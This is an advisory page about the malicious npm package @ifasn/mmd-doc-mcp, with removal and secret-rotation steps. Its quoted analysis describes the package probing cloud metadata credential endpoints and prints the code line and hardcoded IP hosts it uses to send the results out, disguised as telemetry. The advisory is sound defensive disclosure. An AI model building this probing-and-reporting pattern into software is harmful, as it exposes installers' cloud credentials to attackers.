@ifasn/mmd-doc-mcp (npm) · Malicious Code
Affects @ifasn/mmd-doc-mcpSource GCVE Database
Malicious package : remove @ifasn/mmd-doc-mcp and rotate any secrets on hosts that installed it.
Data as of 2 Nov 2026, 22:13 UTC
Malicious package
Published to npm · OSV MAL-2026-18488
What to do
Remove @ifasn/mmd-doc-mcp from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npm@ifasn/mmd-doc-mcp | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7) On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM `security-credentials/` role path) under variables named `HEALTH_PROBES`/`CONFIG_NODES`, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via `pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(","))` to `TELEMETRY_HOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]`. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (`configSync`, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.